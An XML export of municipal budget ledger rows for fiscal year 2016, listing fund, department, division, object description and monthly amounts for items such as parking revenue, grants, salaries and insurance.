<row _id="21825"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>407170.0</object><object_description>LA COUNTY PROP A O&amp;M REIMB</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-40000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-40000</total></row>
<row _id="21826"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407202.0</object><object_description>ROSIE'S GIRLS-MATERIALS FEES</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21827"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400130.0</object><object_description>TRANSIENT OCCUPANCY TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2016</fiscal_year><july>-55909000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-55909000</total></row>
<row _id="21828"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8621</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8621</total></row>
<row _id="21829"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404178.0</object><object_description>RESIDUAL RECEIPTS-HOUSING</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-50000</total></row>
<row _id="21830"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562703.0</object><object_description>HOSPITALITY TRAINING ACADEMY</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>56832</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>56832</total></row>
<row _id="21831"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533125.0</object><object_description>BEACH FAC FUEL STN MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1100</total></row>
<row _id="21832"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1950</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1950</total></row>
<row _id="21833"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>67591</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>67591</total></row>
<row _id="21834"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4529</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4529</total></row>
<row _id="21835"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>125</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>125</total></row>
<row _id="21836"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>400308.0</object><object_description>VALET PARKING METER RENTAL</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-616025</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-616025</total></row>
<row _id="21837"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>400310.0</object><object_description>STRUCTURE ATTENDANT PARKING</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-7273000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-7273000</total></row>
<row _id="21838"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>407710.0</object><object_description>MAIN LIBRARY PARKING STRUCTURE</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-808000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-808000</total></row>
<row _id="21839"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>410050.0</object><object_description>SCE OBF INCTV</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21840"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522560.0</object><object_description>DOWNTOWN ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>52500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>52500</total></row>
<row _id="21841"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>681858</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>681858</total></row>
<row _id="21842"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563161.0</object><object_description>FTA NEW FREEDOM GRANT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>46175</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>46175</total></row>
<row _id="21843"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>402550.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-10000</total></row>
<row _id="21844"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408470.0</object><object_description>PEDICAB OPERATOR PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-1210</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1210</total></row>
<row _id="21845"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511741.0</object><object_description>MEDICAL - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>20008</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20008</total></row>
<row _id="21846"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-20996</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-20996</total></row>
<row _id="21847"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>14045</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14045</total></row>
<row _id="21848"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4524</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4524</total></row>
<row _id="21849"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>495375</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>495375</total></row>
<row _id="21850"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15000</total></row>
<row _id="21851"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3396</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3396</total></row>
<row _id="21852"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10102</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10102</total></row>
<row _id="21853"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>515983</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>515983</total></row>
<row _id="21854"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>11214</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11214</total></row>
<row _id="21855"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>17736</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17736</total></row>
<row _id="21856"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511498.0</object><object_description>OT PARAMEDIC SCHOOL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>465967</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>465967</total></row>
<row _id="21857"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2801</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2801</total></row>
<row _id="21858"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544080.0</object><object_description>LICENSE TAGS / STICKERS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1194</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1194</total></row>
<row _id="21859"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>555250.0</object><object_description>MEDICAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>129489</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>129489</total></row>
<row _id="21860"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>404290.0</object><object_description>MEASURE R LOCAL RETURN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21861"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21862"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-223000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-223000</total></row>
<row _id="21863"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>401090.0</object><object_description>INDIRECT COSTS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-11528070</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-11528070</total></row>
<row _id="21864"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-66000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-66000</total></row>
<row _id="21865"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>408620.0</object><object_description>FTA NEW FREEDOM GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21866"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>406900.0</object><object_description>DIVCA REV FOR PEG FACILITIES</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-282394</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-282394</total></row>
<row _id="21867"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>400318.0</object><object_description>ATTENDANT PARKING-STRUCTRE 7&amp;8</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-3715000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3715000</total></row>
<row _id="21868"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>404330.0</object><object_description>KEN EDWARDS CENTER PARKING</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-28890</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-28890</total></row>
<row _id="21869"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>408240.0</object><object_description>PARKING STRUCTURE 10</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-289000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-289000</total></row>
<row _id="21870"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2872</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2872</total></row>
<row _id="21871"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>42008</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>42008</total></row>
<row _id="21872"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3236</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3236</total></row>
<row _id="21873"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
